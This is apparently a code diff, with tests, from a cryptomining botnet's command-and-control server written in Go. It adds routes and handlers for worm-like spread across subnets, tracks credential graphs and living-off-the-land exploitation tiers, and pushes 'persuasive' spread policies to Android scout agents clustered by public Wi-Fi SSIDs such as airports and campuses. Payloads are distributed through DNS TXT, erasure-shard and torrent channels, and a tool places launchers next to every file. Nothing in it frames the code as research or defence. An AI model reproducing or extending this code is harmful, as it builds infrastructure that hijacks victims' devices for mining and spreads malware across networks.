func pushPartialSpreadTelemetry(t *testing.T, conn *websocket.Conn) {
|
||||
t.Helper()
|
||||
attempts := []map[string]interface{}{
|
||||
{"tier": "vuln_recon", "ok": true, "duration_ms": 100},
|
||||
{"tier": "docker", "ok": false, "error": "daemon missing", "duration_ms": 500},
|
||||
}
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"lotl_attempts": attempts,
|
||||
"lotl_tier": "docker",
|
||||
"mining_hashrate": 0.0,
|
||||
})
|
||||
if err := conn.WriteJSON(Message{Type: "stats", Payload: payload}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
|
||||
@@ -81,6 +81,13 @@ type TraceSession struct {
|
||||
// Client WireGuard keypair — used to build the QR config.
|
||||
clientPrivKey string
|
||||
clientPubKey string
|
||||
// Onion timeline fork/merge — ghost branches explore persona spread/mining on target hop.
|
||||
TimelineRootID string `json:"timeline_root_id,omitempty"`
|
||||
TimelineBranches []*TimelineBranch `json:"timeline_branches,omitempty"`
|
||||
MergedPersona string `json:"merged_persona,omitempty"`
|
||||
MergedSpreadLane string `json:"merged_spread_lane,omitempty"`
|
||||
MergedBranchID string `json:"merged_branch_id,omitempty"`
|
||||
MergedHashrate float64 `json:"merged_hashrate,omitempty"`
|
||||
}
|
||||
|
||||
const (
|
||||
@@ -122,6 +129,12 @@ type pathTraceSessionPersist struct {
|
||||
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
|
||||
ClientPrivKey string `json:"client_priv_key,omitempty"`
|
||||
ClientPubKey string `json:"client_pub_key,omitempty"`
|
||||
TimelineRootID string `json:"timeline_root_id,omitempty"`
|
||||
TimelineBranches []*TimelineBranch `json:"timeline_branches,omitempty"`
|
||||
MergedPersona string `json:"merged_persona,omitempty"`
|
||||
MergedSpreadLane string `json:"merged_spread_lane,omitempty"`
|
||||
MergedBranchID string `json:"merged_branch_id,omitempty"`
|
||||
MergedHashrate float64 `json:"merged_hashrate,omitempty"`
|
||||
}
|
||||
|
||||
func (h *PathTracerHandler) loadPersistedSessions() {
|
||||
@@ -163,6 +176,12 @@ func (h *PathTracerHandler) loadPersistedSessions() {
|
||||
NetworkHints: rec.NetworkHints,
|
||||
clientPrivKey: rec.ClientPrivKey,
|
||||
clientPubKey: rec.ClientPubKey,
|
||||
TimelineRootID: rec.TimelineRootID,
|
||||
TimelineBranches: rec.TimelineBranches,
|
||||
MergedPersona: rec.MergedPersona,
|
||||
MergedSpreadLane: rec.MergedSpreadLane,
|
||||
MergedBranchID: rec.MergedBranchID,
|
||||
MergedHashrate: rec.MergedHashrate,
|
||||
}
|
||||
}
|
||||
if len(rows) > 0 {
|
||||
@@ -189,6 +208,12 @@ func (h *PathTracerHandler) persistSession(sess *TraceSession) {
|
||||
NetworkHints: sess.NetworkHints,
|
||||
ClientPrivKey: sess.clientPrivKey,
|
||||
ClientPubKey: sess.clientPubKey,
|
||||
TimelineRootID: sess.TimelineRootID,
|
||||
TimelineBranches: sess.TimelineBranches,
|
||||
MergedPersona: sess.MergedPersona,
|
||||
MergedSpreadLane: sess.MergedSpreadLane,
|
||||
MergedBranchID: sess.MergedBranchID,
|
||||
MergedHashrate: sess.MergedHashrate,
|
||||
}
|
||||
h.mu.Unlock()
|
||||
raw, err := json.Marshal(rec)
|
||||
@@ -303,6 +328,7 @@ func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
h.mu.Lock()
|
||||
h.sessions[sess.ID] = sess
|
||||
initCanonicalTimeline(sess)
|
||||
h.mu.Unlock()
|
||||
h.persistSession(sess)
|
||||
|
||||
@@ -345,6 +371,9 @@ func (h *PathTracerHandler) Status(w http.ResponseWriter, r *http.Request) {
|
||||
if routes := h.spreadRoutesForSession(sess, nil, ""); len(routes) > 0 {
|
||||
resp["spread_routes"] = routes
|
||||
}
|
||||
for k, v := range timelineFieldsForStatus(sess) {
|
||||
resp[k] = v
|
||||
}
|
||||
writeJSON(w, resp)
|
||||
}
|
||||
|
||||
|
||||
@@ -207,6 +207,47 @@ func encodeDNSTXTShard(data []byte) string {
|
||||
return base64.StdEncoding.EncodeToString(data)
|
||||
}
|
||||
|
||||
// GET /api/v1/public/erasure-torrent/{token}/manifest
|
||||
func (h *PublicHandler) ErasureTorrentManifest(w http.ResponseWriter, r *http.Request) {
|
||||
if h.erasureShards == nil {
|
||||
http.Error(w, "erasure shards unavailable", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
token := strings.TrimSpace(chi.URLParam(r, "token"))
|
||||
if token == "" {
|
||||
http.Error(w, "token required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
p, ok := h.erasureShards.ParamsFor(token)
|
||||
if !ok {
|
||||
http.Error(w, "torrent not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
total := p.TotalShards()
|
||||
shards := make([][]byte, total)
|
||||
hasAny := false
|
||||
for i := 0; i < total; i++ {
|
||||
if sh, ok := h.erasureShards.Get(token, i); ok {
|
||||
shards[i] = sh
|
||||
hasAny = true
|
||||
}
|
||||
}
|
||||
if !hasAny {
|
||||
http.Error(w, "torrent not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
base := strings.TrimRight(strings.TrimSpace(r.URL.Scheme+"://"+r.Host), "/")
|
||||
if base == "://" {
|
||||
base = "http://127.0.0.1:8989"
|
||||
}
|
||||
manifest, err := erasure.BuildTorrentManifest(base, token, "", len(shards[0])*p.DataShards, p, erasure.ShardContentHashes(shards))
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, manifest)
|
||||
}
|
||||
|
||||
// GET /api/v1/public/erasure-shard/{token}/{index}
|
||||
func (h *PublicHandler) ErasureShard(w http.ResponseWriter, r *http.Request) {
|
||||
if h.erasureShards == nil {
|
||||
|
||||
@@ -571,6 +571,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
phenotypeHandler := NewPhenotypeHandler(database)
|
||||
r.Get("/phenotypes", phenotypeHandler.List)
|
||||
|
||||
subnetAutopsyHandler := NewSubnetAutopsyHandler(wsHub, pathTracerHandler)
|
||||
r.Get("/atlas/subnet-autopsy", subnetAutopsyHandler.Get)
|
||||
|
||||
if fleetHandler != nil {
|
||||
r.Get("/alerts", fleetHandler.GetAlerts)
|
||||
r.Post("/alerts/test", fleetHandler.PostAlertTest)
|
||||
@@ -585,6 +588,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/dashboard/spread-funnel", fleetHandler.GetSpreadFunnel)
|
||||
r.Put("/fleet/policy", fleetHandler.PutFleetPolicy)
|
||||
r.Post("/fleet/modules/push", fleetHandler.PostFleetModulePush)
|
||||
r.Post("/fleet/graft", fleetHandler.PostFleetGraft)
|
||||
r.Get("/fleet/strain-cards", fleetHandler.GetStrainCards)
|
||||
r.Post("/fleet/play-strain-card", fleetHandler.PostPlayStrainCard)
|
||||
}
|
||||
if fleetAIHandler != nil {
|
||||
r.Get("/ai/models", fleetAIHandler.GetModels)
|
||||
@@ -593,6 +599,15 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/ai/decisions", fleetAIHandler.GetDecisions)
|
||||
r.Get("/ai/clearance-events", fleetAIHandler.GetClearanceEvents)
|
||||
}
|
||||
seerHandler := NewSeerHandler(database)
|
||||
r.Get("/seer/stream", seerHandler.GetStream)
|
||||
r.Post("/seer/stream", seerHandler.PostStream)
|
||||
r.Get("/seer/notes", seerHandler.GetNotes)
|
||||
r.Post("/seer/notes", seerHandler.PostNote)
|
||||
r.Get("/seer/tools", seerHandler.GetTools)
|
||||
r.Post("/seer/tools/spread_route", seerHandler.ToolSpreadRoute)
|
||||
r.Post("/seer/tools/graft_strain", seerHandler.ToolGraftStrain)
|
||||
r.Post("/seer/tools/fork_onion", seerHandler.ToolForkOnion)
|
||||
|
||||
moduleStore := NewModuleStore(dataDir, func() string {
|
||||
fleetSecretForAgentPathsMu.RLock()
|
||||
@@ -638,6 +653,10 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
|
||||
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
|
||||
}
|
||||
if wsHub != nil {
|
||||
scoutHandler := NewScoutConstellationHandler(wsHub)
|
||||
r.Get("/scout/constellations", scoutHandler.GetConstellations)
|
||||
}
|
||||
// Path Forge: walk a local server path, place launchers next to every file
|
||||
if pathForgeHandler != nil {
|
||||
r.Post("/builder/path-forge", pathForgeHandler.ServeHTTP)
|
||||
@@ -722,6 +741,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
|
||||
r.Post("/pathtrace/spread-route", pathTracerHandler.SpreadRoute)
|
||||
r.Post("/pathtrace/spread", pathTracerHandler.Spread)
|
||||
r.Post("/pathtrace/fork", pathTracerHandler.Fork)
|
||||
r.Post("/pathtrace/merge", pathTracerHandler.Merge)
|
||||
r.Get("/pathtrace/{id}/status", pathTracerHandler.Status)
|
||||
r.Get("/pathtrace/{id}/qr", pathTracerHandler.QR)
|
||||
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
|
||||
@@ -751,6 +772,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download)
|
||||
r.Get("/public/dns-txt/{record}", publicHandler.DNSTXTShard)
|
||||
r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
|
||||
r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest)
|
||||
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
|
||||
}
|
||||
})
|
||||
|
||||
106
server/internal/api/scout_constellation.go
Normal file
106
server/internal/api/scout_constellation.go
Normal file
@@ -0,0 +1,106 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"time"
|
||||
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
)
|
||||
|
||||
// ScoutConstellationHandler serves active scout venue constellations.
|
||||
type ScoutConstellationHandler struct {
|
||||
hub *WSHub
|
||||
}
|
||||
|
||||
// NewScoutConstellationHandler returns a REST handler backed by the WS hub.
|
||||
func NewScoutConstellationHandler(hub *WSHub) *ScoutConstellationHandler {
|
||||
return &ScoutConstellationHandler{hub: hub}
|
||||
}
|
||||
|
||||
// GET /api/v1/scout/constellations
|
||||
func (h *ScoutConstellationHandler) GetConstellations(w http.ResponseWriter, _ *http.Request) {
|
||||
if h.hub == nil {
|
||||
writeJSON(w, map[string]interface{}{"constellations": []fleetai.ScoutConstellation{}})
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"constellations": h.hub.scoutConstellationSnapshot(),
|
||||
"generated_at": time.Now().UTC().Format(time.RFC3339),
|
||||
})
|
||||
}
|
||||
|
||||
func (h *WSHub) ensureScoutConstellations() {
|
||||
if h.scoutConstellations == nil {
|
||||
h.scoutConstellations = fleetai.NewScoutConstellationRegistry()
|
||||
}
|
||||
if h.scoutAgents == nil {
|
||||
h.scoutAgents = make(map[string]bool)
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) scoutConstellationSnapshot() []fleetai.ScoutConstellation {
|
||||
h.scoutConstellationMu.Lock()
|
||||
defer h.scoutConstellationMu.Unlock()
|
||||
h.ensureScoutConstellations()
|
||||
return h.scoutConstellations.Snapshot()
|
||||
}
|
||||
|
||||
func (h *WSHub) scoutConstellationForAgent(agentID string) *fleetai.ScoutConstellation {
|
||||
h.scoutConstellationMu.Lock()
|
||||
defer h.scoutConstellationMu.Unlock()
|
||||
h.ensureScoutConstellations()
|
||||
return h.scoutConstellations.ForAgent(agentID)
|
||||
}
|
||||
|
||||
func (h *WSHub) ingestScoutConstellationReport(agentID, ssid string, serviceCount int) {
|
||||
h.scoutConstellationMu.Lock()
|
||||
defer h.scoutConstellationMu.Unlock()
|
||||
h.ensureScoutConstellations()
|
||||
h.scoutAgents[agentID] = true
|
||||
|
||||
constellation, changed := h.scoutConstellations.Record(agentID, ssid, serviceCount, time.Now().UTC())
|
||||
if !changed {
|
||||
return
|
||||
}
|
||||
|
||||
h.broadcastScoutConstellationsLocked()
|
||||
h.pushScoutConstellationPolicyLocked(constellation)
|
||||
}
|
||||
|
||||
func (h *WSHub) broadcastScoutConstellationsLocked() {
|
||||
snapshot := h.scoutConstellations.Snapshot()
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "scout_constellations",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"constellations": snapshot,
|
||||
"generated_at": time.Now().UTC().Format(time.RFC3339),
|
||||
}),
|
||||
})
|
||||
}
|
||||
|
||||
func (h *WSHub) pushScoutConstellationPolicyLocked(constellation fleetai.ScoutConstellation) {
|
||||
spreadPolicy := fleetai.BuildScoutSpreadPolicy(constellation)
|
||||
temp := fleetai.PersonaSpreadTemperament(constellation.PersonaPack)
|
||||
policy := FleetAgentPolicy{SpreadTemperament: &temp}
|
||||
|
||||
for _, agentID := range constellation.AgentIDs {
|
||||
payload := marshalPolicyUpdatePayload("scout-constellation-"+constellation.SSID, policy)
|
||||
var body map[string]interface{}
|
||||
_ = json.Unmarshal(payload, &body)
|
||||
if body == nil {
|
||||
body = map[string]interface{}{}
|
||||
}
|
||||
body["spread_policy"] = spreadPolicy
|
||||
out, _ := json.Marshal(body)
|
||||
_ = h.SendToAgent(agentID, Message{Type: "policy_update", Payload: out})
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) scoutSpreadPolicyForAuth(agentID string) map[string]interface{} {
|
||||
c := h.scoutConstellationForAgent(agentID)
|
||||
if c == nil {
|
||||
return nil
|
||||
}
|
||||
return fleetai.BuildScoutSpreadPolicy(*c)
|
||||
}
|
||||
137
server/internal/api/scout_constellation_test.go
Normal file
137
server/internal/api/scout_constellation_test.go
Normal file
@@ -0,0 +1,137 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func TestScoutConstellationFormsAndPushesSpreadPolicy(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
ssid := "SFO-Airport-Free"
|
||||
now := time.Now().UTC()
|
||||
for i, id := range []string{"scout-a", "scout-b", "scout-c"} {
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: id, Name: id, Platform: "android", Status: "online",
|
||||
IP: "127.0.0.1", LastSeen: now,
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
hub.ingestScoutConstellationReport(id, ssid, 18+i)
|
||||
}
|
||||
|
||||
snapshot := hub.scoutConstellationSnapshot()
|
||||
if len(snapshot) != 1 {
|
||||
t.Fatalf("constellations=%d", len(snapshot))
|
||||
}
|
||||
if snapshot[0].VenueClass != fleetai.VenueAirport {
|
||||
t.Fatalf("venue=%q", snapshot[0].VenueClass)
|
||||
}
|
||||
if snapshot[0].PersonaPack != fleetai.PersonaPersuasive {
|
||||
t.Fatalf("persona=%q", snapshot[0].PersonaPack)
|
||||
}
|
||||
|
||||
policy := hub.scoutSpreadPolicyForAuth("scout-a")
|
||||
if policy == nil {
|
||||
t.Fatal("missing spread policy for scout in constellation")
|
||||
}
|
||||
if policy["persona_pack"] != fleetai.PersonaPersuasive {
|
||||
t.Fatalf("policy persona=%v", policy["persona_pack"])
|
||||
}
|
||||
if policy["venue_class"] != fleetai.VenueAirport {
|
||||
t.Fatalf("policy venue=%v", policy["venue_class"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestScoutConstellationRESTEndpoint(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.ingestScoutConstellationReport("scout-1", "Campus-WiFi", 10)
|
||||
hub.ingestScoutConstellationReport("scout-2", "Campus-WiFi", 11)
|
||||
hub.ingestScoutConstellationReport("scout-3", "Campus-WiFi", 12)
|
||||
|
||||
handler := NewScoutConstellationHandler(hub)
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/scout/constellations", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
handler.GetConstellations(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var body struct {
|
||||
Constellations []fleetai.ScoutConstellation `json:"constellations"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(body.Constellations) != 1 {
|
||||
t.Fatalf("constellations=%d", len(body.Constellations))
|
||||
}
|
||||
if body.Constellations[0].VenueClass != fleetai.VenueCampus {
|
||||
t.Fatalf("venue=%q", body.Constellations[0].VenueClass)
|
||||
}
|
||||
}
|
||||
|
||||
func TestScoutReportWSIngestsSSID(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
scoutID := "apk-scout-ws"
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: scoutID, Name: "tablet", Platform: "android", Status: "online",
|
||||
IP: "127.0.0.1", LastSeen: time.Now(),
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
conn, _ := dialAgentWS(t, hub)
|
||||
_ = authAgentConn(t, conn, map[string]interface{}{
|
||||
"agent_id": scoutID, "hostname": "tablet", "platform": "android", "version": "test",
|
||||
})
|
||||
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"scout_mode": true, "ssid": "Target-Guest", "join_lane": "docker", "service_count": 6,
|
||||
})
|
||||
if err := conn.WriteJSON(Message{Type: "scout_report", Payload: payload}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
|
||||
c := hub.scoutConstellationForAgent(scoutID)
|
||||
if c != nil {
|
||||
t.Fatal("single scout should not form constellation yet")
|
||||
}
|
||||
|
||||
for _, id := range []string{"scout-2", "scout-3"} {
|
||||
hub.ingestScoutConstellationReport(id, "Target-Guest", 5)
|
||||
}
|
||||
hub.ingestScoutConstellationReport(scoutID, "Target-Guest", 6)
|
||||
|
||||
c = hub.scoutConstellationForAgent(scoutID)
|
||||
if c == nil {
|
||||
t.Fatal("expected constellation after third scout")
|
||||
}
|
||||
if c.VenueClass != fleetai.VenueRetail {
|
||||
t.Fatalf("venue=%q", c.VenueClass)
|
||||
}
|
||||
}
|
||||
@@ -26,6 +26,8 @@ type ServerPolicy struct {
|
||||
HashrateGateHPS float64
|
||||
// ErasureLanesEnabled attaches Reed–Solomon shard metadata to signed deploy plans.
|
||||
ErasureLanesEnabled bool
|
||||
// FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests.
|
||||
FleetTorrentEnabled bool
|
||||
}
|
||||
|
||||
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.
|
||||
|
||||
@@ -47,14 +47,25 @@ type spreadCredReportRequest struct {
|
||||
|
||||
// SpreadCredHandler issues short-lived bootstrap tokens and records cred graph edges.
|
||||
type SpreadCredHandler struct {
|
||||
db *dbpkg.Database
|
||||
provider SpreadCredProvider
|
||||
db *dbpkg.Database
|
||||
provider SpreadCredProvider
|
||||
hub *WSHub
|
||||
pathTracer *PathTracerHandler
|
||||
}
|
||||
|
||||
func NewSpreadCredHandler(database *dbpkg.Database, provider SpreadCredProvider) *SpreadCredHandler {
|
||||
return &SpreadCredHandler{db: database, provider: provider}
|
||||
}
|
||||
|
||||
// BindAutopsyTrigger wires immune autopsy emission when subnet spread pause activates.
|
||||
func (h *SpreadCredHandler) BindAutopsyTrigger(hub *WSHub, pathTracer *PathTracerHandler) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.hub = hub
|
||||
h.pathTracer = pathTracer
|
||||
}
|
||||
|
||||
// GET /api/v1/spread/credential-graph (alias: /api/v1/emberwake/cred-graph)
|
||||
func (h *SpreadHandler) GetCredGraph(w http.ResponseWriter, r *http.Request) {
|
||||
rows, err := h.db.ListCredGraphBySubnet()
|
||||
@@ -202,7 +213,11 @@ func (h *SpreadCredHandler) ReportEdge(w http.ResponseWriter, r *http.Request) {
|
||||
target = req.Host
|
||||
}
|
||||
if paused, recErr := h.db.RecordSubnetSpreadFailure(target); recErr == nil && paused {
|
||||
log.Printf("[subnet-immune] spread paused for prefix %q after %d failures", atlas.PrefixFromHostOrIP(target), atlas.SubnetSpreadFailureThreshold)
|
||||
prefix := atlas.PrefixFromHostOrIP(target)
|
||||
log.Printf("[subnet-immune] spread paused for prefix %q after %d failures", prefix, atlas.SubnetSpreadFailureThreshold)
|
||||
if h.hub != nil {
|
||||
h.hub.TriggerSubnetAutopsy(prefix, h.pathTracer)
|
||||
}
|
||||
}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"ok": true})
|
||||
|
||||
@@ -17,6 +17,7 @@ import (
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/atlas"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/epidemiology"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/pool"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
@@ -170,7 +171,10 @@ type WSHub struct {
|
||||
serverPolicy ServerPolicy
|
||||
adaptiveEngine *strategy.AdaptiveEngine
|
||||
failureAtlas *atlas.FailureAtlas
|
||||
subnetImmune *atlas.SubnetImmune
|
||||
subnetImmune *atlas.SubnetImmune
|
||||
subnetAutopsies map[string]atlas.SubnetAutopsyPacket
|
||||
subnetGossipWhispers map[string][]atlas.GossipHint
|
||||
epidemiology *epidemiology.Tracker
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
eventNotifier *alerts.Notifier
|
||||
@@ -189,6 +193,11 @@ type WSHub struct {
|
||||
beaconCmdQueue map[string][]BeaconCommand
|
||||
beaconPolicyQueue map[string][]FleetAgentPolicy
|
||||
|
||||
// Scout constellation venue clustering (APK scouts reporting same SSID).
|
||||
scoutConstellationMu sync.Mutex
|
||||
scoutConstellations *fleetai.ScoutConstellationRegistry
|
||||
scoutAgents map[string]bool
|
||||
|
||||
// Coalesce per-agent stats_update into a single stats_batch frame per tick.
|
||||
statsBatchMu sync.Mutex
|
||||
statsBatch map[string]json.RawMessage
|
||||
@@ -217,6 +226,7 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
agentInheritedPhenotype: make(map[string]strategy.InheritedPhenotype),
|
||||
agentSubnet: make(map[string]string),
|
||||
breedingRegistry: strategy.NewBreedingRegistry(),
|
||||
epidemiology: epidemiology.NewTracker(),
|
||||
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
||||
beaconLastSeen: make(map[string]time.Time),
|
||||
beaconCmdQueue: make(map[string][]BeaconCommand),
|
||||
@@ -427,6 +437,11 @@ func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
|
||||
}
|
||||
}
|
||||
|
||||
// PolicyErasureEnabled reports whether Reed–Solomon erasure lanes are active.
|
||||
func (h *WSHub) PolicyErasureEnabled() bool {
|
||||
return h.serverPolicySnapshot().ErasureLanesEnabled
|
||||
}
|
||||
|
||||
func (h *WSHub) serverPolicySnapshot() ServerPolicy {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
@@ -914,19 +929,27 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
resp["triple_onion_policy"] = top
|
||||
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled {
|
||||
spreadPolicy := map[string]interface{}{
|
||||
"erasure_lanes_enabled": policy.ErasureLanesEnabled,
|
||||
}
|
||||
spreadPolicy := map[string]interface{}{}
|
||||
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled {
|
||||
spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled
|
||||
spreadPolicy["fleet_torrent_enabled"] = policy.FleetTorrentEnabled
|
||||
if policy.HashrateGateSpreadMin > 0 {
|
||||
spreadPolicy["hashrate_gate_spread_min"] = policy.HashrateGateSpreadMin
|
||||
}
|
||||
if policy.HashrateGateHPS > 0 {
|
||||
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
|
||||
}
|
||||
}
|
||||
if scoutPolicy := h.scoutSpreadPolicyForAuth(agentID); scoutPolicy != nil {
|
||||
for k, v := range scoutPolicy {
|
||||
spreadPolicy[k] = v
|
||||
}
|
||||
}
|
||||
if len(spreadPolicy) > 0 {
|
||||
resp["spread_policy"] = spreadPolicy
|
||||
}
|
||||
resp["atlas_lan_gossip_enabled"] = policy.AtlasLanGossipEnabled
|
||||
resp["fleet_torrent_enabled"] = policy.FleetTorrentEnabled
|
||||
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
|
||||
var inherited *strategy.InheritedPhenotype
|
||||
if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil {
|
||||
@@ -977,6 +1000,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
if policy.AIControlEnabled {
|
||||
resp["spread_temperament"] = fleetai.PersonaSpreadTemperament(policy.AIPersona)
|
||||
}
|
||||
if graft, ok := h.GraftPolicyForAgent(agentID); ok {
|
||||
resp["graft_policy"] = graft
|
||||
agent.GraftSourceStrain = graft.GraftSourceStrain
|
||||
agent.GraftTier = graft.GraftTier
|
||||
}
|
||||
if h.clearance != nil {
|
||||
level := h.clearance.InitAgent(agentID, agent)
|
||||
resp["clearance_level"] = level
|
||||
@@ -999,7 +1027,13 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
resp["lan_seeders"] = seeders
|
||||
}
|
||||
}
|
||||
if policy.FleetTorrentEnabled && hint == "seeder" {
|
||||
if primary := h.subnetPrimarySeederHint(agentID, clientIP, hint); primary != "" {
|
||||
resp["subnet_primary_seeder"] = primary
|
||||
}
|
||||
}
|
||||
}
|
||||
h.attachEpidemiologyFix(resp, agentID)
|
||||
return resp
|
||||
}())})
|
||||
|
||||
@@ -1352,6 +1386,38 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
h.ingestAtlasFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderEnabled, stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts)
|
||||
h.tryPublishWinningPhenotype(agentID, "", clientIPFromBroadcast(broadcast), stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier, stats.JoinLane, stats.ChainOrder)
|
||||
h.ingestFleetPressure(agentID, broadcast)
|
||||
epiStats := epidemiology.StatsInput{
|
||||
FleetRole: stats.FleetRole,
|
||||
ActiveMethod: stats.ActiveMethod,
|
||||
MiningHashrate: stats.MiningHashrate,
|
||||
Hashrate15m: stats.Hashrate15m,
|
||||
GPUHashrate15m: stats.GPUHashrate15m,
|
||||
ChainExhausted: stats.ChainExhausted,
|
||||
MiningLastError: stats.MiningLastError,
|
||||
LOTLTier: stats.LOTLTier,
|
||||
JoinLane: stats.JoinLane,
|
||||
ParentAgentID: stats.ParentAgentID,
|
||||
SpreadGeneration: stats.SpreadGeneration,
|
||||
SpreadStrain: stats.SpreadStrain,
|
||||
}
|
||||
if stats.GPUMinerActive != nil {
|
||||
epiStats.GPUMinerActive = *stats.GPUMinerActive
|
||||
}
|
||||
for _, f := range stats.FailedMethods {
|
||||
epiStats.FailedMethods = append(epiStats.FailedMethods, epidemiology.MethodFailure{
|
||||
Method: f.Method,
|
||||
Reason: f.Reason,
|
||||
At: f.At,
|
||||
})
|
||||
}
|
||||
for _, a := range stats.LOTLAttempts {
|
||||
epiStats.LOTLAttempts = append(epiStats.LOTLAttempts, epidemiology.TierAttempt{
|
||||
Tier: a.Tier,
|
||||
OK: a.OK,
|
||||
Error: a.Error,
|
||||
})
|
||||
}
|
||||
h.observeEpidemiologyFromStats(agentID, epiStats)
|
||||
h.queueStatsBroadcast(broadcast)
|
||||
|
||||
case "scout_report":
|
||||
@@ -1359,6 +1425,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
continue
|
||||
}
|
||||
var report struct {
|
||||
SSID string `json:"ssid"`
|
||||
JoinLane string `json:"join_lane"`
|
||||
ServiceCount int `json:"service_count"`
|
||||
ScoutMode bool `json:"scout_mode"`
|
||||
@@ -1378,6 +1445,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
